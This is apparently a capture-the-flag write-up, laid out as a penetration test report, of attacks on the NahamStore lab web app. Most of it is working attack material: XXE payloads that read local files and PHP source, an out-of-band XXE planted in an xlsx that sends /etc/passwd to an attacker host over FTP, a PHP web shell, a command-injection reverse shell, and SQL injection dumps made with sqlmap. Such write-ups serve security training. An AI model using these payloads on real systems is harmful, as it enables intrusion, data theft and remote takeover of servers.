[*] Scanning 0/1: http://stock.nahamstore.thm/
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[+] Extracted 7 parameters from response for testing
[*] Logicforcing the URL endpoint
[✓] parameter detected: xml, based on: body length
[+] Parameters found: xml 

When invoking the xml parameter, the application alters its response format from JSON to XML:

1
2
3
4
5
$ curl http://stock.nahamstore.thm/?xml=   
  
<?xml version="1.0"?>
<data><server>stock.nahamstore.thm</server><endpoints><item0><url>/product</url></item0></endpoints></data>
                            

Switching the request method to POST and sending raw XML data to /product/1/?xml triggered an internal application rule requiring an X-Token.

1
2
3
4
5
$ curl -X POST "http://stock.nahamstore.thm/product/1/?xml" -H "Content-Type: application/xml" --data-binary $'<?xml version=\"1.0\"?>\x0d\x0a<data><id>1</id><name>Hoodie + Tee</name><stock>56</stock></data>'  

<?xml version="1.0"?>
<data><error>X-Token not supplied</error></data>

By adding the <X-Token> element to the XML body, the application reflected the supplied token string within its error handling message:

1
2
3
4
5
$ curl -X POST "http://stock.nahamstore.thm/product/1/?xml" -H "Content-Type: application/xml" --data-binary $'<?xml version=\"1.0\"?>\x0d\x0a<data><id>1</id><name>Hoodie + Tee</name><stock>56</stock><X-Token>test</X-Token></data>'

<?xml version="1.0"?>
<data><error>X-Token testis invalid</error></data>

The application processes user-supplied XML elements and reflects the value of <X-Token> back in the error message, an attacker can define a custom DOCTYPE declaration with an external entity pointing to a local system file (e.g., /etc/hosts).

When the entity &file; is called inside the <X-Token> element, the server parses the local file and renders its contents inside the invalid token error message:

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<data>
<X-Token>
&file;
</X-Token></data>

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -X POST "http://stock.nahamstore.thm/product/1/?xml" -H "Content-Type: application/xml" --data-binary $'<?xml version=\"1.0\"?>\x0d\x0a<!DOCTYPE data [\x0d\x0a<!ELEMENT data ANY>\x0d\x0a<!ENTITY file SYSTEM \"file:///etc/hosts\">\x0d\x0a]>\x0d\x0a<data>\x0d\x0a<X-Token>\x0d\x0a&file;\x0d\x0a</X-Token></data>'
<?xml version="1.0"?>
<data><error>X-Token 
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3      c272d7c1337d

is invalid</error></data>
                             
1
2
file:///etc/nginx/nginx.conf
etc/nginx/sites-enabled/default

From /etc/nginx/sites-enabled/default, we learned two critical pieces of information:

  • The Web Root: The site is hosted at /var/www/html/public.
  • The Backend: It uses PHP 7.4 (php7.4-fpm.sock).

It is also possible to exfiltrate the application source code using PHP streams

1
php://filter/convert.base64-encode/resource=<file>
1
2
3
4
5
6
7
$ curl -X POST -u "http://stock.nahamstore.thm/product/1/?xml" -H "Content-type: application/xml" --data-binary  $'<?xml version=\"1.0\"?>\x0d\x0a<!DOCTYPE data [\x0d\x0a<!ELEMENT data ANY>\x0d\x0a<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/var/www/html/public/index.php\">\x0d\x0a]>\x0d\x0a<data>\x0d\x0a<X-Token>\x0d\x0a&xxe;\x0d\x0a</X-Token></data>' \
    $'http://stock.nahamstore.thm/product/1/?xml'
<?xml version="1.0"?>
<data><error>X-Token 
PD9waHAKaW5jbHVkZV9vbmNlKCcuLi9BdXRvbG9hZC5waHAnKTsKaW5jbHVkZV9vbmNlKCcuLi9Sb3V0ZS5waHAnKTsKaW5jbHVkZV9vbmNlKCcuLi9PdXRwdXQucGhwJyk7CmluY2x1ZGVfb25jZSgnLi4vVmlldy5waHAnKTsKClJvdXRlOjpsb2FkKCk7ClJvdXRlOjpydW4oKTs=
is invalid</error></data>

Blind XXE

During directory enumeration, a hidden /staff page was discovered that accepts file uploads—specifically Microsoft Excel (.xlsx) documents. Because Office Open XML (OOXML) files are compressed ZIP archives containing structural XML configuration files, applications processing them rely on internal XML parsers.

  • Vulnerable Endpoint: POST nahamstore.thm/staff
  • Severity: Critical

Alt

The application’s XML parser fails to safely disable or restrict external entity resolution. By injecting xl/workbook.xml and xl/sharedStrings.xml with an Out-of-Band (OOB) external DTD reference, an attacker can exfiltrate sensitive local files via FTP.

Proof of Concept (PoC):

Step 1: Payload Generation

The automated utility oxml_xxe was deployed locally via Docker to generate a base payload document containing generic external entity anchors:

1
2
3
4
$ git clone https://github.com/BuffaloWill/oxml_xxe.git && cd oxml_xxe
$ sudo systemctl enable docker && sudo systemctl start docker
$ docker build --tag oxml_xxe .
$ docker run --name oxml_xxe -p 4567:4567 --rm oxml_xxe

Alt

Extracting the archive:

1
$ 7z x output_1782378415_all_rr.xlsx 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ 7z l output_1782378415_all_rr.xlsx 

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 7129 bytes (7 KiB)

Listing archive: output_1782378415_all_rr.xlsx

--
Path = output_1782378415_all_rr.xlsx
Type = zip
Physical Size = 7129

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
1980-01-01 00:00:00 .....         1440          364  [Content_Types].xml
1980-01-01 00:00:00 .....          588          245  _rels/.rels
1980-01-01 00:00:00 .....          980          258  xl/_rels/workbook.xml.rels
2026-06-25 09:06:54 .....          744          435  xl/workbook.xml
1980-01-01 00:00:00 .....         7079         1684  xl/theme/theme1.xml
1980-01-01 00:00:00 .....          628          352  xl/worksheets/sheet2.xml
1980-01-01 00:00:00 .....          628          352  xl/worksheets/sheet3.xml
1980-01-01 00:00:00 .....          816          441  xl/worksheets/sheet1.xml
2026-06-25 09:06:54 .....          300          235  xl/sharedStrings.xml
1980-01-01 00:00:00 .....         1260          583  xl/styles.xml
2026-06-25 09:06:54 .....          940          470  docProps/app.xml
1980-01-01 00:00:00 .....          593          320  docProps/core.xml
------------------- ----- ------------ ------------  ------------------------
2026-06-25 09:06:54              15996         5739  12 files

I modified the xl/workbook.xml to fetch the xxe.dtd file from my machine

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [
  <!ELEMENT cdl ANY >
  <!ENTITY % asd SYSTEM "http://<ATTACKER-IP>:4444/xxe.dtd">
  %asd;
]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">

After modifying the file, rebuild the archive again as xlsx

1
2
3
4
$ zip -r ../modified_document.xlsx * .[^.]*

$ file ../modified_document.xlsx 
../modified_document.xlsx: Microsoft OOXML

By using a remote DTD file will allow us to modify only the dtd file hosted in our machine each time we want to retrieve a different file without the need to modify the entire archive. xxe.dtd

1
2
3
<!ENTITY % d SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<ATTACKER-IP>:2121/%d;'>">
%c;

Put the DTD file in the public folder and host the FTP service on your machine.

1
 ./xxeserv  -o files.log -p 2121 -w -wd public -wp 4444

The files.log will saves the retrieved data from the target

1
2
3
4
5
$ cat files.log 
USER:  anonymous
PASS:  anonymous
//e2Q2YjIyY2IzZTM3YmVmMzJkODAwMTA1YjExMTA3ZDhmfQo=
SIZE                            

RCE

Finding 1: Remote Code Execution in the admin panel

In the admin panel of the marketing subdomain, we can modify the code to add persistent php backdoor script.

  • Vulnerable Endpoint: POST /update
  • Impacted Page: /<campaige hash>
  • Severity: Critical

Proof of Concept (PoC):

Injected this php web shell into the code section

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
1
2
3
$ curl "http://marketing.nahamstore.thm/8d1952ba2b3c6dcd76236f090ab8642c?cmd=id" 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blind RCE

Finding 2: Blind Remote Command Execution vie PDF Generater

The application features a PDF generation mechanism (pdfGenerator()) triggered when a user requests an invoice/order PDF. The application constructs a shell command utilizing the prince PDF engine and executes it using the PHP shell_exec() function.

  • Vulnerable Endpoint: POST /pdf-generator
  • Vulnerable Parameter: id
  • Severity: Critical

Proof of Concept (PoC):

The code takes $_POST["id"] directly from the user request and concatenates it into a system command string. While the input is placed inside double quotes ("http://..."), Unix shells still evaluate certain characters inside double quotes—specifically backticks (```) and command substitution syntax ($()).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static function pdfGenerator(){
        if( $user = self::loginUser() ) {
            if (isset($_POST["what"], $_POST["id"])) {
                if ($_POST["what"] == 'order') {
                    if ($order = Order::get($_POST["id"])) {
                        $random_file = '/tmp/'.md5( print_r($_SERVER,true).rand().date("U") ).'.pdf';
                        shell_exec('prince "http://nahamstore.thm/order2pdf?user_id='.$user->getId().'&order_id='.$_POST["id"].'" -o '.$random_file);
                        header("Content-type:application/pdf");
                        echo file_get_contents($random_file);
                        exit();
                    } else {
                        die("Order does not exist");
                    }
                }
            } else {
                die("Missing POST parameters");
            }
        }else{
            die("you must be logged in to use this function");
        }
    }

Test 1:

1
what=order&id=3${,$"whoami",}

Alt

Response 200 and no result = False

Test 2:

1
what=order&id=3{,$"whoami",}

Alt

Response 200 and return result = True

Reverse shell:

1
what=order&id=4$(php+-r+'$s%3dfsockopen("192.168.129.156",4040)%3bproc_open("sh",[$s,$s,$s],$p)%3b')

Alt

Starting up the listener:

1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lvnp 4040                  
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
css
index.php
js
robots.txt
uploads

SQL

In the challenge description, it sayes that there is two SQLi vulnerability one return result to the page and the other is blind

SQLi error based

An SQLi error based were found in the product page after injecting single quote in the id parameter

  • Endpoint: http://nahamstore.thm/product
  • Vulnerable parameter: id
  • Severity: High

Proof of Concept (PoC):

While testing for XSS on the id parameter, I got an sql error which confirmed the possibility of sql injection.

1
http://nahamstore.thm/product?id=2%3Cscript%3Ealert(%27test%27)%3C/script%3E

Alt

The parameter is vulnerable to SQLi error based on:

  • True → return the home page

    1
    
      http://nahamstore.thm/product?id=2 AND 1=1
    
  • False → return syntax error

    1
    
      http://nahamstore.thm/product?id=2 AND 1=2 
    

After confirming the SQLi, I used sqlmap tool to dump the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ sqlmap -r sql-req-reflected.txt --technique=U --batch --dump 
        ___
     
---
Parameter: #1* (URI)
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://nahamstore.thm/product?id=-3883 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71766b6a71,0x76536f4f62636645714f586b6f4666696c775063456e694669714d536242475a47624670766d684d,0x717a627871),NULL-- -
---

[13:02:28] [INFO] fetching tables for database: 'nahamstore'
[13:02:29] [INFO] fetching columns for table 'sqli_one' in database 'nahamstore'
[13:02:29] [INFO] fetching entries for table 'sqli_one' in database 'nahamstore'
Database: nahamstore
Table: sqli_one
[1 entry]
+----+------------------------------------+
| id | flag                               |
+----+------------------------------------+
| 1  | {d8902......55c} |
+----+------------------------------------+
                                   

Blind SQLi

The application takes $_POST["order_number"] and hands it straight to Order::getInj(), which concatenates it raw into a SQL statement without any sanitization, filtering, or parameter binding as shown in the code snippet which therefor creates a blind SQLi.

  • Endpoint / URL: /returns (handled via a POST request to the return form submission route).
  • Vulnerable Parameter: order_number sent via the HTTP POST body.
  • Severity: High
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 /**
     * @param $id
     * @return false|Order
     */
public static function getInj($id){
        $resp = false;
        $d = Db::sqli2()->prepare('select * from `order` where id = '.$id);
        $d->execute();
        if( $d->rowCount() > 0 ){
            $resp = new Order( $d->fetch() );
        }
        return $resp;
    }
...
   public static function returns(){
        $error = array();
        if( isset($_POST["order_number"],$_POST["return_reason"],$_POST["return_info"]) ){
            if( !Order::getInj($_POST["order_number"]) ){
                $error[] = 'Invalid Order Number';
            }
            $reasons = array(
                '1' =>  'Wrong Size',
                '2' =>  'Damaged Goods',
                '3' =>  'No Longer Required',
            );
            if( isset($reasons[$_POST["return_reason"]]) ){
                $reason = $reasons[$_POST["return_reason"]];
            }else{
                $error[] = 'Please select a valid return reason';
            }
            if( count($error) == 0 ){
                $image = '';
                //if( isset($_FILES["image"]) ){
                //    if( strstr($_FILES["image"]["name"],'.jpg')){
                //        move_uploaded_file($_FILES["image"]["tmp_name"],getcwd().'/uploads/'.$_FILES["image"]["name"]);
                //        $image = $_FILES["image"]["name"];
                //    }else{
                //        $error[] = 'File type not allowed';
                //    }
                //}
                if( count($error) == 0 ){
                    $order_id = intval($_POST["order_number"]);
                    $r = Returns::create($order_id,$reason,$_POST["return_info"],$image);
                    \View::redirect('/returns/'.$r->getId().'?auth='.$r->getHash());
                }
            }
        }

Proof of Concept (PoC):

To differentiate between true and false result:

  • 2 AND 1=2 → False → Invalid Order Number
  • 2 AND 1=1 → True →redirect 302

To automate the test for blind SQLi we set the technique to Boolean and the code switch to 302 which indicates true queries

1
$ sqlmap -r blind-sql.txt --code=302 --technique=B --dbms=mysql  --dump --batch  

result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ sqlmap -r blind-sql.txt --code=302 --technique=B --dbms=mysql  --dump --batch          
        ___
       __H__                                                                    
 ___ ___[,]_____ ___ ___  {1.10.2.14#dev}                                       
|_ -| . [)]     | .'| . |                                                       
|___|_  [']_|_|_|__,|  _|                                                       
      |_|V...       |_|   https://sqlmap.org                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:30:54 /2026-07-04/

[11:30:54] [INFO] parsing HTTP request from 'blind-sql.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
Multipart-like data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[11:30:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://nahamstore.thm/returns/15?auth=9bf31c7ff062936a96d3c8bd1f8f2ff3'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: MULTIPART #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ------WebKitFormBoundary2x1TsdD4uTSAFPTh
Content-Disposition: form-data; name="order_number"

2 AND 7878=7878
------WebKitFormBoundary2x1TsdD4uTSAFPTh
Content-Disposition: form-data; name="return_reason"

1
------WebKitFormBoundary2x1TsdD4uTSAFPTh
Content-Disposition: form-data; name="return_info"

test
------WebKitFormBoundary2x1TsdD4uTSAFPTh--

[11:31:51] [INFO] retrieved: {212ec...015}
[11:32:57] [INFO] retrieved: 1
Database: nahamstore
Table: sqli_two
[1 entry]
+----+------------------------------------+
| id | flag                               |
+----+------------------------------------+
| 1  | {212ec.......0243015} |
+----+------------------------------------+

This post is licensed under CC BY 4.0 by the author.